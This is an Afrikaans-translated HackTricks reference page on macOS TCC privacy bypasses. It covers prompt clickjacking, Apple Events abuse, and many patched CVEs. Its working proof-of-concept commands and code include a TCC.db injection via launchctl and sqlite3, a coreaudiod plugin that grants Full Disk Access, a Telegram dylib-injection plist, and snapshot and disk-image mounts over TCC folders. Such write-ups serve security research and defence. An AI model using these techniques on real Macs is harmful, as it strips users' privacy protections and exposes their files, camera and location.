macOS TCC Bypasses

Reading time: 21 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Volgens funksionaliteit

Skryf Bypass

Dit is nie 'n bypass nie, dit is net hoe TCC werk: Dit beskerm nie teen skryf nie. As Terminal nie toegang het om die Desktop van 'n gebruiker te lees nie, kan dit steeds daarin skryf:

shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

Die verlengde attribuut com.apple.macl word by die nuwe lĂȘer gevoeg om die skepper se app toegang te gee om dit te lees.

TCC ClickJacking

Dit is moontlik om 'n venster oor die TCC-prompt te plaas sodat die gebruiker dit kan aanvaar sonder om dit te besef. Jy kan 'n PoC vind in TCC-ClickJacking.

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

TCC Versoek deur arbitrĂȘre naam

Die aanvaller kan apps met enige naam (bv. Finder, Google Chrome...) in die Info.plist skep en dit laat vra om toegang tot 'n TCC-beskermde ligging. Die gebruiker sal dink dat die wettige toepassing die een is wat hierdie toegang vra.
Boonop is dit moontlik om die wettige app van die Dock te verwyder en die vals een daarop te plaas, sodat wanneer die gebruiker op die vals een klik (wat dieselfde ikoon kan gebruik), dit die wettige een kan bel, TCC-toestemmings kan vra en 'n malware kan uitvoer, wat die gebruiker laat glo dat die wettige app die toegang gevra het.

Meer inligting en PoC in:

macOS Privilege Escalation

SSH Bypass

Standaard het toegang via SSH "Volledige Skyf Toegang" gehad. Om dit te deaktiveer, moet jy dit gelys hĂȘ maar gedeaktiveer (om dit uit die lys te verwyder, sal nie daardie voorregte verwyder nie):

Hier kan jy voorbeelde vind van hoe sommige malware in staat was om hierdie beskerming te omseil:

caution

Let daarop dat jy nou Volledige Skyf Toegang nodig het om SSH te kan aktiveer.

Handle extensies - CVE-2022-26767

Die attribuut com.apple.macl word aan lĂȘers gegee om 'n sekere toepassing toestemming te gee om dit te lees. Hierdie attribuut word gestel wanneer sleep&laat 'n lĂȘer oor 'n app, of wanneer 'n gebruiker dubbelklik op 'n lĂȘer om dit met die standaard toepassing te open.

Daarom kan 'n gebruiker 'n kwaadwillige app registreer om al die extensies te hanteer en Launch Services aanroep om enige lĂȘer te open (sodat die kwaadwillige lĂȘer toegang gegee sal word om dit te lees).

iCloud

Die regte com.apple.private.icloud-account-access maak dit moontlik om met die com.apple.iCloudHelper XPC-diens te kommunikeer wat iCloud tokens sal verskaf.

iMovie en Garageband het hierdie regte gehad en ander wat dit toegelaat het.

Vir meer inligting oor die eksploit om icloud tokens van daardie regte te verkry, kyk na die praatjie: #OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automatisering

'n App met die kTCCServiceAppleEvents toestemming sal in staat wees om ander Apps te beheer. Dit beteken dat dit in staat kan wees om die toestemmings wat aan die ander Apps gegee is, te misbruik.

Vir meer inligting oor Apple Skripte, kyk:

macOS Apple Scripts

Byvoorbeeld, as 'n App Automatiseringstoestemming oor iTerm het, het Terminal toegang oor iTerm:

Oor iTerm

Terminal, wat nie FDA het nie, kan iTerm aanroep, wat dit het, en dit gebruik om aksies uit te voer:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
bash
osascript iterm.script

Oor Finder

Of as 'n App toegang oor Finder het, kan dit 'n skrif soos hierdie wees:

applescript
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Deur App gedrag

CVE-2020–9934 - TCC

Die gebruikerland tccd daemon wat die HOME env veranderlike gebruik om toegang te verkry tot die TCC gebruikersdatabasis vanaf: $HOME/Library/Application Support/com.apple.TCC/TCC.db

Volgens hierdie Stack Exchange pos en omdat die TCC daemon via launchd binne die huidige gebruiker se domein loop, is dit moontlik om alle omgewing veranderlikes wat aan dit deurgegee word te beheer.
Dus, 'n aanvaller kan die $HOME omgewing veranderlike in launchctl stel om na 'n beheerde gids te verwys, herbegin die TCC daemon, en dan direk die TCC databasis te wysig om vir homself elke TCC regte beskikbaar te gee sonder om ooit die eindgebruiker te vra.
PoC:

bash
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Aantekeninge

Aantekeninge het toegang tot TCC beskermde plekke, maar wanneer 'n aantekening geskep word, word dit in 'n nie-beskermde plek geskep. So, jy kan aantekeninge vra om 'n beskermde lĂȘer in 'n aantekening (so in 'n nie-beskermde plek) te kopieer en dan toegang tot die lĂȘer te verkry:

CVE-2021-30782 - Translokasie

Die binĂȘre /usr/libexec/lsd met die biblioteek libsecurity_translocate het die regte com.apple.private.nullfs_allow gehad wat dit toegelaat het om nullfs montages te skep en het die regte com.apple.private.tcc.allow gehad met kTCCServiceSystemPolicyAllFiles om toegang tot elke lĂȘer te verkry.

Dit was moontlik om die kwarantyn-attribuut aan "Biblioteek" toe te voeg, die com.apple.security.translocation XPC-diens aan te roep en dan sou dit Biblioteek na $TMPDIR/AppTranslocation/d/d/Library kaart waar al die dokumente binne Biblioteek toeganklik kon wees.

CVE-2023-38571 - Musiek & TV

Musiek het 'n interessante kenmerk: Wanneer dit loop, sal dit die lĂȘers wat na ~/Music/Music/Media.localized/Automatically Add to Music.localized gegooi word, in die gebruiker se "media biblioteek" invoer. Boonop roep dit iets soos: rename(a, b); waar a en b is:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

Hierdie rename(a, b); gedrag is kwesbaar vir 'n Race Condition, aangesien dit moontlik is om 'n vals TCC.db lĂȘer binne die Automatically Add to Music.localized gids te plaas en dan, wanneer die nuwe gids (b) geskep word om die lĂȘer te kopieer, dit te verwyder en dit na ~/Library/Application Support/com.apple.TCC te wys.

SQLITE_SQLLOG_DIR - CVE-2023-32422

As SQLITE_SQLLOG_DIR="path/folder" basies beteken dit dat enige oop db na daardie pad gekopieer word. In hierdie CVE is hierdie beheer misbruik om te skryf binne 'n SQLite-databasis wat gaan wees oop deur 'n proses met FDA die TCC-databasis, en dan SQLITE_SQLLOG_DIR misbruik met 'n symlink in die lĂȘernaam sodat wanneer daardie databasis oop is, die gebruiker TCC.db word oorgeskryf met die oop een.
Meer inligting in die skrywe en in die praatjie.

SQLITE_AUTO_TRACE

As die omgewing veranderlike SQLITE_AUTO_TRACE gestel is, sal die biblioteek libsqlite3.dylib begin log al die SQL navrae. Baie toepassings het hierdie biblioteek gebruik, so dit was moontlik om al hul SQLite navrae te log.

Verskeie Apple-toepassings het hierdie biblioteek gebruik om toegang tot TCC beskermde inligting te verkry.

bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Hierdie omgewing veranderlike word deur die Metal raamwerk gebruik wat 'n afhanklikheid is van verskeie programme, veral Music, wat FDA het.

Stel die volgende in: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name". As path 'n geldige gids is, sal die fout geaktiveer word en kan ons fs_usage gebruik om te sien wat in die program gebeur:

  • 'n lĂȘer sal open() word, genoem path/.dat.nosyncXXXX.XXXXXX (X is ewekansig)
  • een of meer write()s sal die inhoud na die lĂȘer skryf (ons beheer dit nie)
  • path/.dat.nosyncXXXX.XXXXXX sal renamed() word na path/name

Dit is 'n tydelike lĂȘer skrywe, gevolg deur 'n rename(old, new) wat nie veilig is nie.

Dit is nie veilig nie omdat dit moet die ou en nuwe paaie apart oplos, wat 'n bietjie tyd kan neem en kwesbaar kan wees vir 'n Race Condition. Vir meer inligting kan jy die xnu funksie renameat_internal() nagaan.

caution

So, basies, as 'n bevoorregte proses hernoem vanaf 'n gids wat jy beheer, kan jy 'n RCE wen en dit laat toegang tot 'n ander lĂȘer of, soos in hierdie CVE, die lĂȘer wat die bevoorregte toepassing geskep het oopmaak en 'n FD stoor.

As die hernoem toegang tot 'n gids wat jy beheer, terwyl jy die bronlĂȘer gewysig het of 'n FD daarvoor het, verander jy die bestemmingslĂȘer (of gids) om na 'n sylynk te wys, sodat jy kan skryf wanneer jy wil.

Dit was die aanval in die CVE: Byvoorbeeld, om die gebruiker se TCC.db te oorskryf, kan ons:

  • /Users/hacker/ourlink skep om na /Users/hacker/Library/Application Support/com.apple.TCC/ te wys
  • die gids /Users/hacker/tmp/ skep
  • stel MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db
  • aktiveer die fout deur Music met hierdie omgewing veranderlike te loop
  • vang die open() van /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX (X is ewekansig)
  • hier open ons ook hierdie lĂȘer vir skryf, en hou aan by die lĂȘer beskrywer
  • atomies wissel /Users/hacker/tmp met /Users/hacker/ourlink in 'n lus
  • ons doen dit om ons kanse op sukses te maksimeer aangesien die wedloopvenster redelik dun is, maar om die wedloop te verloor het 'n verwaarloosbare nadeel
  • wag 'n bietjie
  • toets of ons gelukkig was
  • as nie, loop weer van bo af

Meer inligting in https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

caution

Nou, as jy probeer om die omgewing veranderlike MTL_DUMP_PIPELINES_TO_JSON_FILE te gebruik, sal toepassings nie begin nie

Apple Remote Desktop

As root kan jy hierdie diens aktiveer en die ARD agent sal volle skyf toegang hĂȘ wat dan deur 'n gebruiker misbruik kan word om dit te laat kopieer 'n nuwe TCC gebruiker databasis.

Deur NFSHomeDirectory

TCC gebruik 'n databasis in die gebruiker se HOME gids om toegang tot hulpbronne spesifiek vir die gebruiker te beheer by $HOME/Library/Application Support/com.apple.TCC/TCC.db.
Daarom, as die gebruiker daarin slaag om TCC te herlaai met 'n $HOME omgewing veranderlike wat na 'n ander gids wys, kan die gebruiker 'n nuwe TCC databasis in /Library/Application Support/com.apple.TCC/TCC.db skep en TCC mislei om enige TCC toestemming aan enige toepassing toe te ken.

tip

Let daarop dat Apple die instelling wat binne die gebruiker se profiel in die NFSHomeDirectory attribuut gestoor is, gebruik vir die waarde van $HOME, so as jy 'n toepassing met toestemming om hierdie waarde te wysig (kTCCServiceSystemPolicySysAdminFiles) kompromitteer, kan jy hierdie opsie wapen met 'n TCC omseiling.

CVE-2020–9934 - TCC

CVE-2020-27937 - Directory Utility

CVE-2021-30970 - Powerdir

Die eerste POC gebruik dsexport en dsimport om die HOME gids van die gebruiker te wysig.

  1. Kry 'n csreq blob vir die teiken toepassing.
  2. Plant 'n vals TCC.db lĂȘer met vereiste toegang en die csreq blob.
  3. Eksporteer die gebruiker se Directory Services inskrywing met dsexport.
  4. Wysig die Directory Services inskrywing om die gebruiker se tuisgids te verander.
  5. Importeer die gewysig Directory Services inskrywing met dsimport.
  6. Stop die gebruiker se tccd en herlaai die proses.

Die tweede POC het /usr/libexec/configd gebruik wat com.apple.private.tcc.allow met die waarde kTCCServiceSystemPolicySysAdminFiles gehad het.
Dit was moontlik om configd met die -t opsie te loop, 'n aanvaller kon 'n aangepaste Bundel om te laai spesifiseer. Daarom, die uitbuiting vervang die dsexport en dsimport metode van die verandering van die gebruiker se tuisgids met 'n configd kode-inspuiting.

Vir meer inligting, kyk die oorspronklike verslag.

Deur proses inspuiting

Daar is verskillende tegnieke om kode binne 'n proses in te spuit en sy TCC voorregte te misbruik:

macOS Process Abuse

Boonop is die mees algemene proses inspuiting om TCC te omseil wat gevind is via plugins (laai biblioteek).
Plugins is ekstra kode gewoonlik in die vorm van biblioteke of plist, wat deur die hoofd toepassing gelaai sal word en onder sy konteks sal uitvoer. Daarom, as die hoofd toepassing toegang tot TCC beperkte lĂȘers gehad het (deur toegekende toestemming of regte), sal die aangepaste kode dit ook hĂȘ.

CVE-2020-27937 - Directory Utility

Die toepassing /System/Library/CoreServices/Applications/Directory Utility.app het die regte kTCCServiceSystemPolicySysAdminFiles, het plugins met .daplug uitbreiding gelaai en het nie die geharde runtime gehad nie.

Om hierdie CVE te wapen, word die NFSHomeDirectory gewysig (misbruik van die vorige regte) om in staat te wees om die gebruiker se TCC databasis oor te neem om TCC te omseil.

Vir meer inligting, kyk die oorspronklike verslag.

CVE-2020-29621 - Coreaudiod

Die binĂȘre /usr/sbin/coreaudiod het die regte com.apple.security.cs.disable-library-validation en com.apple.private.tcc.manager. Die eerste laat kode inspuiting toe en die tweede gee dit toegang om TCC te bestuur.

Hierdie binĂȘre het toegelaat om derdeparty plugins van die gids /Library/Audio/Plug-Ins/HAL te laai. Daarom was dit moontlik om 'n plugin te laai en die TCC toestemming te misbruik met hierdie PoC:

objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

For more info check the original report.

Toestel Abstraksielaag (DAL) Plug-Ins

Stelsels toepassings wat kamera stroom via Core Media I/O oopmaak (toepassings met kTCCServiceCamera) laai in die proses hierdie plugins geleë in /Library/CoreMediaIO/Plug-Ins/DAL (nie SIP beperk nie).

Net om 'n biblioteek met die algemene konstruktors daar te stoor, sal werk om kode in te spuit.

Verskeie Apple toepassings was kwesbaar hiervoor.

Firefox

Die Firefox toepassing het die com.apple.security.cs.disable-library-validation en com.apple.security.cs.allow-dyld-environment-variables regte gehad:

xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Vir meer inligting oor hoe om dit maklik te ontgin kyk die oorspronklike verslag.

CVE-2020-10006

Die binĂȘre /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl het die regte com.apple.private.tcc.allow en com.apple.security.get-task-allow gehad, wat dit moontlik gemaak het om kode binne die proses in te spuit en die TCC-privileges te gebruik.

CVE-2023-26818 - Telegram

Telegram het die regte com.apple.security.cs.allow-dyld-environment-variables en com.apple.security.cs.disable-library-validation gehad, so dit was moontlik om dit te misbruik om toegang tot sy toestemmings te verkry soos om met die kamera op te neem. Jy kan die payload in die skrywe vind.

Let op hoe om die env-variabele te gebruik om 'n biblioteek te laai, 'n aangepaste plist is geskep om hierdie biblioteek in te spuit en launchctl is gebruik om dit te begin:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
bash
launchctl load com.telegram.launcher.plist

Deur oop aanroepe

Dit is moontlik om open aan te roep selfs terwyl dit in 'n sandbox is.

Terminal Skripte

Dit is redelik algemeen om terminal Volledige Skyf Toegang (FDA) te gee, ten minste op rekenaars wat deur tegnologie mense gebruik word. En dit is moontlik om .terminal skripte hiermee aan te roep.

.terminal skripte is plist-lĂȘers soos hierdie een met die opdrag om uit te voer in die CommandString sleutel:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

'n Aansoek kan 'n terminal script in 'n ligging soos /tmp skryf en dit met 'n opdrag soos:

objectivec
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Deur te monteer

CVE-2020-9771 - mount_apfs TCC omseiling en privaatheidsverhoging

Enige gebruiker (selfs onprivilegieerde) kan 'n tydmasjien-snapshot skep en monteer en toegang hĂȘ tot AL die lĂȘers van daardie snapshot.
Die enige privaatheid wat benodig word, is dat die toepassing wat gebruik word (soos Terminal) Volledige Skyftoegang (FDA) toegang moet hĂȘ (kTCCServiceSystemPolicyAllfiles) wat deur 'n admin toegestaan moet word.

bash
# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

'n Meer gedetailleerde verduideliking kan gevind word in die oorspronklike verslag.

CVE-2021-1784 & CVE-2021-30808 - Monteer oor TCC-lĂȘer

Selfs al is die TCC DB-lĂȘer beskerm, was dit moontlik om oor die gids 'n nuwe TCC.db-lĂȘer te monteer:

bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
python
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Kontroleer die volledige ontploffing in die oorspronklike skrywe.

CVE-2024-40855

Soos verduidelik in die oorspronklike skrywe, het hierdie CVE diskarbitrationd misbruik.

Die funksie DADiskMountWithArgumentsCommon van die openbare DiskArbitration raamwerk het die sekuriteitskontroles uitgevoer. Dit is egter moontlik om dit te omseil deur diskarbitrationd direk aan te roep en dus ../ elemente in die pad en symlinks te gebruik.

Dit het 'n aanvaller toegelaat om arbitrĂȘre monte in enige plek te doen, insluitend oor die TCC-databasis as gevolg van die regte com.apple.private.security.storage-exempt.heritable van diskarbitrationd.

asr

Die hulpmiddel /usr/sbin/asr het toegelaat om die hele skyf te kopieer en dit op 'n ander plek te monteer terwyl TCC-beskerming omseil word.

Ligging Dienste

Daar is 'n derde TCC-databasis in /var/db/locationd/clients.plist om kliĂ«nte aan te dui wat toegelaat word om toegang tot ligging dienste te hĂȘ.
Die gids /var/db/locationd/ was nie teen DMG-montage beskerm nie, so dit was moontlik om ons eie plist te monteer.

Deur opstartprogramme

macOS Auto Start

Deur grep

In verskeie gevalle sal lĂȘers sensitiewe inligting soos e-posse, telefoonnommers, boodskappe... in nie-beskermde plekke stoor (wat as 'n kwesbaarheid in Apple tel).

Sintetiese Kliks

Dit werk nie meer nie, maar dit het in die verlede gewerk:

Nog 'n manier om CoreGraphics gebeurtenisse te gebruik:

Verwysing

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks